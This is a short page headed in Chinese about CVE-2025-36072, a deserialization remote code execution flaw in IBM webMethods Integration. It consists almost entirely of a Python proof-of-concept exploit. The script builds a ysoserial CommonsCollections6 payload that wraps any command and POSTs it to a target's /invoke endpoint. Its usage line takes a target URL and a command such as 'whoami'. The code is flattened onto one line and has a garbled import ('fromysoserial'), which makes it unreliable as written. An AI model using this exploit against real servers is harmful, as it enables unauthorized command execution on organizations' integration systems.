CVE-2025-36072 IBM webMethods Integration 反序列化远程代码执行漏洞

import requests import sys fromysoserial import GeneratePayload # CVE-2025-36072 PoC - IBM webMethods Integration RCE via Deserialization # Target: IBM webMethods Integration versions 10.11-10.11_Core_Fix22, 10.15-10.15_Core_Fix22, 11.1-11.1_Core_Fix6 def generate_payload(command): """Generate malicious serialized payload using ysoserial""" try: # Generate CommonsCollections6 gadget chain payload payload = GeneratePayload('CommonsCollections6', command) return payload.getObject() except Exception as e: print(f"[-] Error generating payload: {e}") return None def exploit(target_url, command): """Send malicious payload to vulnerable endpoint""" # Generate payload payload = generate_payload(command) if not payload: return False # Target endpoint (typical webMethods Integration API endpoint) endpoint = f"{target_url}/invoke" headers = { 'Content-Type': 'application/x-java-serialized-object', 'User-Agent': 'Mozilla/5.0' } try: print(f"[*] Sending payload to {endpoint}") response = requests.post(endpoint, data=payload, headers=headers, timeout=30) if response.status_code == 200: print("[+] Payload delivered successfully") return True else: print(f"[-] Unexpected response: {response.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Request failed: {e}") return False if __name__ == "__main__": if len(sys.argv) < 3: print(f"Usage: {sys.argv[0]} <target_url> <command>") print(f"Example: {sys.argv[0]} http://target.com:5555 'whoami'") sys.exit(1) target = sys.argv[1] cmd = sys.argv[2] exploit(target, cmd)